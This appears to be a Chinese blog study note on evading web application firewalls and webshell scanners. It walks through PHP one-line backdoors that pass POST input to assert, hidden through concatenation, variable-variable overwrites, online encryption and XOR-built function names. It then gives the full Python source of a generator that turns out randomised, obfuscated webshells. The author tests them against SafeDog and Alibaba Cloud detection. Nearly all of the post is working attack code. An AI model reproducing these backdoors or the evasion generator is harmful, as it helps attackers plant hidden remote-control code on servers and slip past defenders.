第77天:WAF 攻防-权限控制&代码免杀&异或运算&变量覆盖&混淆加密&传参

目录

        案例一: 代码-脚本后门免杀变异-覆盖&传参

传参

变量覆盖

案例二:代码-脚本后门免杀变异-异或&加密

加密

异或

案例三:免杀脚本生成代码

php免杀脚本


案例一: 代码-脚本后门免杀变异-覆盖&传参

传参

正常写一个一句话木马

访问

代码如下

<?php 
$a=$_GET['a'];
$aa=$a.'ert';
$aa(base64_decode($_POST['x']));
?>

原理

把放在网站目录下,启动安全狗

访问

猜测是旧版本的原因,升级新版本

还可以访问,。。。。。。。。。

阿里云检测webshell: 阿里云恶意文件检测平台

变量覆盖

代码

<?php

$a='b';

$b='assert';

$$a(base64_decode($_POST['x']));

?>

检测主要检测post

案例二:代码-脚本后门免杀变异-异或&加密

加密

php在线加密平台: www.phpjm.net

用一句话木马加密

加密后的结果

阿里云检测结果,因为是利用算法加密

测试蚁剑能否连接

异或

代码

<?php
$fuhao = "!@#$%^&*()_+=<>?:,.{}[]\|/";
$zimu = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";
$strlen_fuhao = strlen($fuhao);
$strlen_zimu = strlen($zimu);

for($i=0;$i<$strlen_fuhao;$i++){
    for($j=0;$j<$strlen_zimu;$j++){
        echo $fuhao[$i]." ^ ".$zimu[$j]."-->".("$fuhao[$i]"^"$zimu[$j]");
        echo "<br>";
    }
}
?>  

执行效果

代码

<?php
$a=('!'^'@').'ssert';$a($_POST[x]);
?>

运行

但是还是检测不过,有post就检测不过

案例三:免杀脚本生成代码

php免杀脚本

import chardet
import base64
import random
import sys
'''
author: yzddmr6
github: https://github.com/yzddmr6/webshell-venom/
pass: mr6
'''

func1 = 'assert'
func2 = 'eval'

shell_form ='''<?php
class {class_name}{{
    function __destruct(){{
        ${var_name1}={func1};
        return @${var_name1}("$this->{var_name2}");
    }}
}}
${objname}=new {class_name}();
@${objname}->{var_name2}=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];
?>'''


encode_form = '''<?php
class {class_name}{{
    function __destruct(){{
        $this->{func_name}({func1},array(({func2})."(base64_decode('{base64_code}'));"));
        }}
    function {func_name}(${var_name1},${var_name2}){{
        @array_map(${var_name1},${var_name2});
    }}}}
${objname}=new {class_name}();
?>'''

def random_keys(len):
    str = '`~-=!@#$%^&*_/+?<>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    return ''.join(random.sample(str,len))

def random_name(len):
    str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    return ''.join(random.sample(str,len))   
    
def xor(c1,c2):
    return hex(ord(c1)^ord(c2)).replace('0x',r"\x")

def gen_payload(func):
    func_line1 = ''
    func_line2 = ''
    key = random_keys(len(func))
    for i in range(0,len(func)):
        enc = xor(func[i],key[i])
        func_line1 += key[i]
        func_line2 += enc
    payload = '\'{0}\'^"{1}"'.format(func_line1,func_line2)
    return payload

def base64_encode(files):
    with open(files,'rb') as res:
        text=res.read()
        text_char=chardet.detect(text)
        #print(text_char['encoding'])
        text_decode=text.decode(text_char['encoding'])
        text_decode=text_decode.replace('<?php','')
        text_decode=text_decode.replace('?>','')
        bs64=str(base64.b64encode(text_decode.encode(text_char['encoding'])),text_char['encoding'])
    #print(bs64)
    return bs64

def encode_webshell(files):
    class_name = random_name(4)
    objname = class_name.lower()
    webshell=encode_form.format(class_name=class_name,func_name=random_name(4),objname=objname,var_name1=random_name(4),var_name2=random_name(4),func1=gen_payload(func1),func2=gen_payload(func2),base64_code=base64_encode(files))
    print(webshell)
    with open(files+'.bypass.php','w+') as save:
        save.write(webshell)
    return webshell

def gen_webshell():
    class_name = random_name(4)
    objname = class_name.lower()
    webshell=shell_form.format(class_name=class_name,func_name=random_name(4),objname=objname,var_name1=random_name(4),var_name2=random_name(4),func1=gen_payload(func1))
    print(webshell)


if __name__ == '__main__':
    if len(sys.argv)> 1:
        files=sys.argv[1]
        encode_webshell(files)
    else:
        gen_webshell()

给一句话木马加密

python代码免杀

运行

but过不了阿里云检测

总结:加密最牛

  • 18
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值